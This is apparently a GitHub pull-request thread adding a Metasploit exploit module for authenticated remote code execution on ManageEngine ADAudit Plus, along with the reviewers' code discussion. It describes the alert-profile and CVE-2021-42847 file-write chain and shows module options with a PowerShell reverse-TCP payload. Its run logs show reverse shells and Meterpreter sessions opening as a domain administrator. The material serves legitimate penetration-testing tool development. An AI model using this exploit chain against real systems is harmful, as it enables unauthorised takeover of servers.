metasploit-framework
metasploit-framework copied to clipboard
Add manageengine adaudit plus authenticated rce module and docs
About
This change adds an exploit module (with docs) to achieve authenticated RCE on ManageEngine ADAudit plus builds 7005 and prior. The module exploits security issues that allow authenticated users to execute arbitrary code by creating a custom alert profile and leveraging the custom alert script component.
The module comprises two different exploit chains:
- For versions prior to build 7004, the payload is directly inserted in the custom alert script component of the alert profile.
- For builds 7004 and 7005, the module leverages an arbitrary file write vulnerability (CVE-2021-42847) to create a Powershell script in the alert_scripts directory that contains the payload. The name of this script is then provided as the value for the custom alert script component of the alert profile.
This module requires valid credentials for an account with the privileges to create alert scripts. It has been successfully tested against ManageEngine ADAudit Plus builds 7003 and 7005 running on Windows Server 2012 R2.
Writeup and demo videos
I have published a writeup that covers the attacks that this module exploits. You may want to skip sections 4 and 6 since those cover different attacks.
In addition, I have created the following demo videos:
- This video showing the module in action against ADAudit Plus build 7003
- This video showing the module in action against ADAudit Plus build 7005
Vulnerable Application
ManageEngine ADAudit plus builds 7005 and prior.
Installation Information
Vulnerable versions of ADAudit Plus are available here.
After running the installer, you can launch ADAudit Plus by opening Command Prompt with administrator privileges
and then running: <install_dir>\bin\run.bat
Versions 7005 and prior are vulnerable by default, so no special configuration is required after installing the application.
The default ADAudit Plus credentials (set as default options for the module) are admin:admin
Scenarios
ManageEngine ADAudit Plus build 7003 running on Windows Server 2012 R2
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > options
Module options (exploit/windows/http/manageengine_adaudit_plus_authenticated_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
AUTH_DOMAIN ADAuditPlus Authentication yes ADAudit Plus authentication domain (default is ADAuditPlus Authentication)
PASSWORD admin yes Password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 192.168.91.250 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
RPORT 8081 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to ManageEngine ADAudit Plus
USERNAME admin yes Username to authenticate with
VHOST no HTTP server virtual host
Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.91.195 yes The listen address (an interface may be specified)
LOAD_MODULES no A list of powershell modules separated by a comma to download over the web
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Windows Command
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias LIES.
[*] Trying to authenticate...
[*] Found 1 configured domain(s):
[*] - LIES.local: LIES.local
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7003
[*] Attempting to create an alert profile
[+] Successfully created alert profile UiYnupjyi24
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
[*] Trigger attempt completed. Let's hope we get a shell...
[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:54442) at 2022-10-12 12:09:43 +0300
[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:54441) at 2022-10-12 12:09:43 +0300
[*] Attempting to delete alert UiYnupjyi24
[+] Successfully deleted alert UiYnupjyi24
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>
ManageEngine ADAudit Plus build 7005 running on Windows Server 2012 R2
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.195:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias LIES.
[*] Trying to authenticate...
[*] Found 1 configured domain(s):
[*] - LIES.local: LIES.local
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists.
[*] Attempting to authenticate again in order to retrieve the required cookies.
[*] Attempting to create an alert profile
[*] Attempting to write the payload to /alert_scripts/mwlhr.ps1
[+] Successfully wrote the payload to /alert_scripts/mwlhr.ps1 in the ManageEngine ADAudit Plus install directory
[+] Successfully created alert profile dVmy0Ygz
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
[*] Trigger attempt completed. Let's hope we get a shell...
[!] Make sure to manually cleanup the mwlhr.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory
[*] Powershell session session 1 opened (192.168.91.195:4444 -> 192.168.91.250:41348) at 2022-10-12 12:59:28 +0300
[*] Powershell session session 2 opened (192.168.91.195:4444 -> 192.168.91.250:41347) at 2022-10-12 12:59:28 +0300
[*] Attempting to delete alert profile dVmy0Ygz
[+] Successfully deleted profile alert dVmy0Ygz
PS C:\Program Files\ManageEngine\ADAudit Plus\bin>
@ErikWynter Thanks for submitting this module! I'm looking over things but one question I did have is whether the module could be broken up into library components or similar? Its unusual to see a module with 700+ lines of code which makes me think that we may be trying to stuff too much into it at once.
@gwillcox-r7 yeah there's some overlap with https://github.com/rapid7/metasploit-framework/pull/17132 since the code for builds 7004 and 7005 takes advantage of the same arbitrary file write vector and targets the same endpoint, so that would be good to move to a mixin. It might make sense to create the mixin as part of the other PR since that one shares a lot of code with an existing module that should also be moved to a library. Then this PR would be kept back until the other one lands. What do you think? In any case I'm happy to work on the mixin myself.
This will probably still end up being a sizeable module though. For instance the alert profile creation and cleanup covers a lot of lines but I don't really see how to reduce that. I'm always open to suggestions of course :)
@gwillcox-r7 yeah there's some overlap with #17132 since the code for builds 7004 and 7005 takes advantage of the same arbitrary file write vector and targets the same endpoint, so that would be good to move to a mixin. It might make sense to create the mixin as part of the other PR since that one shares a lot of code with an existing module that should also be moved to a library. Then this PR would be kept back until the other one lands. What do you think? In any case I'm happy to work on the mixin myself.
This will probably still end up being a sizeable module though. For instance the alert profile creation and cleanup covers a lot of lines but I don't really see how to reduce that. I'm always open to suggestions of course :)
Happy to proceed however you see fit. The way I see it is inevitably some code from both modules will need to likely form part of a new library, though how that is done is up to you and I'm open to proceeding with your suggestion if you feel that would be better.
@gwillcox-r7 thanks for the review! I'll try and go over this on Friday. I might actually just start working on an ADAudit mixin as part of this PR since this has been reviewed already. then once this has been landed and we move to https://github.com/rapid7/metasploit-framework/pull/17132 I can just do a rebase there and expand on the library.
@gwillcox-r7 My latest commit addresses all the changes I could make without testing the module against an actual target again because I need to setup a new test box and didn't get around to that. I provided explanations for a few things you asked about, so please let me know if you'd still like to see some changes there. I'll address the other stuff next week including creating a mixin.
@gwillcox-r7 the latest changes include the creation of a mixin containing several methods that could be used by other ADAudit Plus modules in the future. A few of those will be leveraged by https://github.com/rapid7/metasploit-framework/pull/17132 and once this is landed I'll expand on this mixin in the context of that PR. I have tried to address all remaining issues. In the mixin I've tried to be very consistent with return types, as you will (hopefully) see. I've responded to your comment about potentially using a dropper. I tested the module successfully against builds 7003 and 7005 again:
ADAudit Plus build 7003
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.195:4004
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias LIES.
[*] Trying to authenticate...
[*] Found 1 configured domain(s): LIES.local
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7003
[*] Attempting to create an alert profile
[+] Successfully created alert profile OsDKhLKw2c
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
[*] Trigger attempt completed. Let's hope we get a shell...
[*] Sending stage (200774 bytes) to 192.168.91.199
[*] Sending stage (200774 bytes) to 192.168.91.199
[!] If the client portion of stdapi or priv fails to load, you can do so manually via 'load stdapi' and/or load priv'
[*] Meterpreter session 6 opened (192.168.91.195:4004 -> 192.168.91.199:64401) at 2022-10-28 18:00:12 +0300
[*] Meterpreter session 5 opened (192.168.91.195:4004 -> 192.168.91.199:64400) at 2022-10-28 18:00:12 +0300
[*] Attempting to delete alert profile OsDKhLKw2c
[+] Successfully deleted alert profile OsDKhLKw2c
meterpreter > getuid
Server username: LIES\Administrator
ADAudit Plus build 7005
msf6 exploit(windows/http/manageengine_adaudit_plus_authenticated_rce) > run
[*] Started reverse TCP handler on 192.168.91.195:1312
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Using configured authentication domain alias LIES.
[*] Trying to authenticate...
[*] Found 1 configured domain(s): LIES.local
[+] Successfully authenticated
[+] The target appears to be vulnerable. The target is ADAudit Plus 7005 and the endpoint for CVE-2021-42847 exists.
[*] Attempting to authenticate again in order to retrieve the required cookies.
[*] Attempting to create an alert profile
[*] Attempting to write the payload to /alert_scripts/fpkwdm.ps1
[+] Successfully wrote the payload to /alert_scripts/fpkwdm.ps1 in the ManageEngine ADAudit Plus install directory
[+] Successfully created alert profile j2v6FZGV
[*] Attempting to trigger the payload via an authentication attempt for domain LIES using incorrect credentials.
[*] Trigger attempt completed. Let's hope we get a shell...
[!] Make sure to manually cleanup the fpkwdm.ps1 file from /alert_scripts/ in the ManageEngine ADAudit Plus install directory
[*] Powershell session session 5 opened (192.168.91.195:1312 -> 192.168.91.199:40179) at 2022-10-28 15:48:33 +0300
[*] Powershell session session 6 opened (192.168.91.195:1312 -> 192.168.91.199:40178) at 2022-10-28 15:48:33 +0300
[*] Attempting to delete alert profile j2v6FZGV
[+] Successfully deleted alert profile j2v6FZGV
PS C:\Program Files\ManageEngine\ADAudit Plus\bin> whoami
lies\administrator
Please let me know if you run into any issues while reviewing/testing these changes :)
btw I don't know why the sanity test execution keeps failing. I recently updated my fork and for me it works fine locally, so nut sure what's up
We're looking into the failing sanity tests currently - it looks like there might be some flakey infra in our side 👀
@msjenkins-r7 test this please
Going to need to rebase this so that our tests pass, give me a sec to do the rebase.
@gwillcox-r7 thanks for rebasing this. please let me know if any further changes are required
@gwillcox-r7 thanks for rebasing this. please let me know if any further changes are required
Thanks sorry for the delay on this had some LDAP research projects I needed to finish off but now those are done so I should be able to focus on this. Will give this another code review and try set up a testing environment. Appreciate all the updates!
@ErikWynter Heyo just checking in, updates are available to work on, let me know if any questions/concerns and I'll be happy to assist 👍
@gwillcox-r7 hey sorry for the delay. I didn't have time so far but I'll try to work on the requested changes tomorrow or Friday.
I just pushed some partial changes for the issues still open. I didn't have time to test these unfortunately but I wanted to make sure to save the progress. I'll try to address the remaining issues and test everything next week
@gwillcox-r7 I think my latest commits address all the issues that were still open. I've also made some adjustments to the exploit module itself to make sure it works with the library after the changes. I look forward to your feedback regarding the module itself. Btw, I think we may have to add FIRST_ATTEMPT_FAIL to the notes for Reliability because I noticed I usually don't get a shell the first time, maybe never actually. So I'm curious to see if this will be the same for you.
@ErikWynter Thanks going to run through this today and give it another review. Sorry for the delay on my end 😞
Sorry had to rebase to pull in fixes for our checks from https://github.com/rapid7/metasploit-framework/pull/17419
@gwillcox-r7 I finally found time to implement all required changes. Highlights:
- I renamed
silenttoonly_get_cookieand updated the YARD docs to explain what this mode is for. - I improved the logic of the methods with
only_get_cookie(especially the one for obtaining the configured domains) only_get_cookieis no longer used for printing fewer messages. I've moved the required logic for that to the module- The methods in
target_info.rbthat previously returned an Array of varying contents now return a Hash (I've updated the YARD docs too) - I used Nokogiri to get around that one regex issue
- I solved the overly loose regex for the build number to add an extra check to make sure the obtained build is 4 digits (otherwise we can't tell if the target is vulnerable)
The only thing left to do when it comes to the library stuff is to update the docs to mention how finicky ADAudit Plus is about cookies and why that requires the only_get_cookie param and multiple login attempts per run
Also, I'm now pretty sure we'll have to change the reliability note to state that the first session typically fails. Would still like your take on that though, so let me know once you've had a chance to test it.
@gwillcox-r7 I finally got around to this. Gotta say thanks for the additional review, because you flagged several important issues. My latest commits should cover all of those (I think), including the docs. I haven't retested the changes against a target since I figured you'd run final tests before landing it anyway. Let me know if there are any final issues, but definitely feel free to fix anything minor as you see fit.
Btw I left all conversations open on purpose so you can go through them one by one as you review the changes
@gwillcox-r7 I finally got around to this. Gotta say thanks for the additional review, because you flagged several important issues. My latest commits should cover all of those (I think), including the docs. I haven't retested the changes against a target since I figured you'd run final tests before landing it anyway. Let me know if there are any final issues, but definitely feel free to fix anything minor as you see fit.
Btw I left all conversations open on purpose so you can go through them one by one as you review the changes
Thanks much appreciated @ErikWynter will review this now!
@gwillcox-r7 thanks for the suggestions! I have tried to consistently implement the changes you suggested by splitting NO_MATCH up instead NO_DOMAINS and NO_BUILD_NUMBER and using appropriate Failure status messages everywhere. If I missed anything, feel free to fix it in line with the rest. If there's still something you're not sure about, let me know :)
@gwillcox-r7 I addressed all the remaining issues in my last commit. Let me know if you need anything else :)
@gwillcox-r7 I just pushed a few minor changes for things that were still unresolved. Do you have any idea when you'll be able to look at this one again? I think it should be about ready to get landed
@gwillcox-r7 I just pushed a few minor changes for things that were still unresolved. Do you have any idea when you'll be able to look at this one again? I think it should be about ready to get landed
Hey @ErikWynter I'm on research this coming week but I should be able to review it the following week when I'm back on PRs. Sorry for the delay on this one, was on vacation for a month so that was the reason this has been a bit delayed.
@ErikWynter Left review, tried to fix up as much as I could. If you get extra notifications some of it was some review points I later realized were invalid so they have been deleted to minimize noise. Two of the review comments were related to library inconsistency but weren't a complex issue so I went ahead and updated the code for that so long.
Let me know if anything is confusing, otherwise it should just be the updates above left, mostly related to the fact that the library calls could be done independently and we should be checking to make sure the target is what we think it is; I'm seeing several library calls that don't seem to do a lot of checking to ensure they are getting the pages with data in a format that they would expect to see, so that could potentially lead to errors depending on how these libraries are utilized.
Also as a final note this will likely need another rebase but we will do that after the changes above are resolved otherwise review will get quite messy.
@gwillcox-r7 thanks for the additional comments! I added the extra checks that were missing in the library, fixed the GUID format in the rex library and added a comment to clarify the return statuses for the login method, in line with how we solved this elsewhere in the module. I added explanations for two issues that I consider resolved but left open so you could have a look. Let me know if anything is still unclear and feel free to make any final improvements :)
@ErikWynter Alright this looks good to test and land. Will let you know if I encounter any errors whilst testing.
Hmm check isn't working against a default of 6.0.7 since to log in using those credentials you need to be using ADAudit Plus Authentication and we default to using the first domain available that is not that.
Logging in I'm prompted to configure ADAudit GPOs for the domain. Clicking on this it says "Successfully configured audit policies" after a few seconds of it running. I'm still not able to log in using the DAFOREST domain that I have configured though even via the normal app and a web browser.